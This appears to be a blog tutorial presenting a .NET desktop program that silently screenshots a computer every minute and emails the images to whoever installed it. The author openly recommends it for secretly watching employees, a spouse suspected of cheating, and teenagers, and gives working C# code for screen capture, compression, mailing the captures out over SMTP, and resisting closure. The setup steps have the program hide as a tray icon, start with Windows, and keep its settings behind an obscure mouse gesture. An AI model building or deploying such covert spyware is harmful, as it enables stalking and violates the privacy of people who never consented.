Some time back I needed to capture a certain computers desktop
in order to find out what that user is doing every day. So, I made
a .NET 2.0 Winforms Application which stays on system tray
(optional) and capture the desktop in given time interval (say
every 60 secs) and emailed the captured images to me as
message attachment (say every 30 mins). It ensures the captures are
small enough and embedded inside HTML email so that I don’t need to
open hundreds of attachments and see the screenshots. I could just
read through the email and see the captures made. You will find
this application quite handy in many use cases including:
- Keep an eye on developers who spend too much time on web and
chatting. See what they really do.
- Keep an eye on your better half incase s/he is cheating on
you.
- Keep an eye on your teenagers and see how they use
computer. Find the amount of time they browser porn on
web.
All you do is sit back and relax in your office and the app
informs you every 30 mins via email what your subject is doing on
the computer. You don’t need to worry about missing some captures
when you are away from your computer. It will be safely kept in
your inbox and you can go through all the captures on your
weekend.
Configure the following settings from the Visual Studio Settings
Designer (if you have Visual Studio):
Configure the path where the screenshots will be stored. Then
configure the duration, default is every 1 minute, one screenshot
is taken. “To” contains the email address of yours. Use free email
services because very soon you will find it’s filled up. Username
and Password is for the SMTP authentication. “SMTP” contains the
SMTP Server name or IP. “MailSendDelay” is the delay between
sending emails.
All you need to do is build the app and install/run it once on
the computer which you want to keep an eye on. It will hide itself
on the system tray as a harmless icon and register itself on the
startup and start capturing immediately. After a week or two,
cleanup the “C:temp” folder where the screenshots are kept.
You can also configure the properties at run time after running
it once on a computer. This is for those who does not have Visual
Studio in order to configure the settings before building
it.
In order to launch the configuration dialog box while the
application is running, find the icon on the system tray and click
mouse buttons exactly in this order:
- Press left and right mouse button on the icon one after
another
- Release only the right mouse button while holding the left
mouse button down
This will bring up the configuration dialog:
Here you can make changes while it is running.
Let’s learn some interesting stuffs from this application:
1. Prevent closing the application when close button is
clicked:
private void MainForm_FormClosing( object sender,
FormClosingEventArgs e) { Settings.Default.Save();
this .Hide(); e.Cancel = true
; }
2. Capturing the screenshot
using (Bitmap bmpScreenshot = new
Bitmap(Screen.PrimaryScreen.Bounds.Width,
Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb))
{ // Create a graphics object from the bitmap
using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot)) {
try { Log( “ Capture
screen “ ); //
Take the screenshot from the upper
left corner to the right bottom corner gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X,
Screen.PrimaryScreen.Bounds.Y, 0 ,
0 , Screen.PrimaryScreen.Bounds.Size,
CopyPixelOperation.SourceCopy);
First a bitmap object for the whole screen size is created and
then the graphics from the screen is copied to the Bitmap
object.
3. Convert the Bitmap to low resolution JPEG
// Get the ImageCodecInfo for the desired target
format ImageCodecInfo
codec = GetEncoderInfo( “ image/jpeg “ );
// Set the quality to very low System.Drawing.Imaging.Encoder
qualityEncoder =
System.Drawing.Imaging.Encoder.Quality;
EncoderParameter ratio =
new EncoderParameter(qualityEncoder,
10L ); //
Add the quality parameter to the
list EncoderParameters
codecParams =
new EncoderParameters( 1 );
codecParams.Param[ 0
] = ratio;
Here we configure the JPEG codec with very low resolution (10%).
GetEncoderInfo is a function which runs through all available
codecs and finds the one we need.
private static ImageCodecInfo GetEncoderInfo(String mimeType)
{ int j; ImageCodecInfo[] encoders; encoders
= ImageCodecInfo.GetImageEncoders();
for (j =
0 ; j < encoders.Length; ++ j) {
if (encoders[j].MimeType == mimeType) return encoders[j]; } return null ;
}
4. Saving bitmap using codec
using (FileStream fs = new
FileStream(filePath, FileMode.Create))
{ bmpScreenshot.Save(fs, codec, codecParams); fs.Close();
}
5. Handling Win32Exception
I noticed sometimes during screen capture, an unknown
Win32Exception throws up. There’s no way to work around this
problem until I restart the application. Here’s how I do it:
catch (Exception x) { Log(x.ToString());
if (x is
Win32Exception) { Log(
“ Restarting… “ );
Application.Restart(); } }
6. Email the pictures as embedded image in HTML format
First connect to the mail server using
System.Net.SmtpClient:
SmtpClient client
= new SmtpClient(Settings.Default.Smtp);
client.Credentials =
new NetworkCredential(Settings.Default.UserName,
Settings.Default.Password); MailMessage msg = new
MailMessage(Settings.Default.To,
Settings.Default.To); msg.Subject = DateTime.Now.ToString(); msg.IsBodyHtml
= true ;
We are going to construct an Html mail where the images will be
inline. The tricky part is to build the body of the message. The
body requires that we create tag for each image inside
the body in this format:
< img src
=cid:ID_OF_THE_IMAGE
/>
The ID needs to be the ContentID of the LinkedResource instance
which is created for each image. Here’s the code:
List < LinkedResource > resources = new
List < LinkedResource > (); for
( int i
= Settings.Default.LastSentFileNo; i
< Settings.Default.LastFileNo; i ++ ) {
string filePath = FilePath(i); // then we
create the Html part //
to embed images, we need to use the
prefix ‘cid’ in the img src value // the cid
value will map to the Content-Id of a Linked resource.
// thus will map to
a LinkedResource with a ContentId of ‘companylogo’
body.AppendLine( “ “
+ i.ToString() + “
/> “ );
// create the LinkedResource (embedded image)
LinkedResource logo
= new LinkedResource(filePath); logo.ContentId
= “ Capture “ +
i.ToString(); // add the
LinkedResource to the appropriate view resources.Add(logo); }
I keep a counter for the last capture file name and the last
emailed file number. Then for each capture file which has not been
emailed yet, I create a LinkedResource for the image and then
add it in the resources list. I also build the body of the message
which contains the tag with the LinkedResource
ContentID.
Then we create something called AlternateView for the message
body which says the message has a HTML view:
AlternateView htmlView
= AlternateView.CreateAlternateViewFromString(body.ToString(),
null , “
text/html “ );
foreach (LinkedResource resource in resources)
htmlView.LinkedResources.Add(resource);
msg.AlternateViews.Add(htmlView);
This view contains the HTML body and the resource
collection.
After this, the email is sent asynchronously so that the screen
capture process does not get stuck. It generally takes a while to
send the image with all the screenshots embedded. So, you can’t do
this synchronously.
try { client.Timeout = 10
* 60 *
1000 ; client.SendAsync(msg, “” );
client.SendCompleted +=
new SendCompletedEventHandler(client_SendCompleted);
mailSendTimer.Stop(); Log( “ Sending
mail… “ ); } catch (Exception x) { Log(x.ToString()); }
That’s all folks!
Download
the source here